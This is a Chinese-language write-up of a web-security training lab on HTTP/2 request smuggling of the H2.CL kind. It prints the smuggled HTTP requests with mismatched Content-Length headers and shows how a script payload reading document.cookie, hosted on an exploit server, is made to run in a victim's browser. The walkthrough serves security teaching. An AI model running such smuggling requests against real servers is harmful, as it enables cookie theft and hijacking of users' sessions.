> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/h2-cl-request-smuggling.md).

# H2.CL 请求走私

### H2.CL 请求走私

该实验室存在 **请求走私** 因为前端服务器会降级 **HTTP/2** 即使它们具有歧义长度，也会处理这些请求。

目标是实施一次攻击，使受害者的浏览器能够加载并执行一个 **恶意 JavaScript 文件** 该文件托管在利用服务器上，内容如下：

```javascript
alert(document.cookie)
```

受害者用户每 **10 秒**.

#### **通过走私切换为 404**

需要长度不一致才能导致一个 **404 未找到**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **应用行为分析**

页面会自动加载一个脚本：

`resources/js/analytics.js?uid=3309545055`

<figure><img src="/files/d8026c8b7ae8bcd57c6be1b44d39523f62cc5e8c" alt=""><figcaption></figcaption></figure>

该脚本会生成一个随机标识符，并向以下地址发送查询：

```javascript
/analytics?id=<random value>
```

<figure><img src="/files/1cea0b15255761d7567167212b163aeb24c653c0" alt=""><figcaption></figcaption></figure>

函数摘录：

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **可接受路径的观察**

向以下地址走私的请求：

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="/files/52544b2e337692aa379026a46c352dac1dec3390" alt=""><figcaption></figcaption></figure>

会被接受。

而其他路径则不会。

<figure><img src="/files/2f81fbc16ea5fed8169086df635aed5ec7ddc092" alt=""><figcaption></figcaption></figure>

#### **恶意脚本注入**

我们将有效载荷放入利用服务器提供的文件中：

* 文件名： **resources**
* 正文内容：

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/5e3e1cd47cea9b1a51376ca63546f6cf4ec28a2c" alt=""><figcaption></figcaption></figure>

受害者会被重定向到该文件，浏览器执行该 alert，确认了漏洞利用成功。

<figure><img src="/files/7cb84c7600bd46f8465e2c1925af0d6a895197b4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
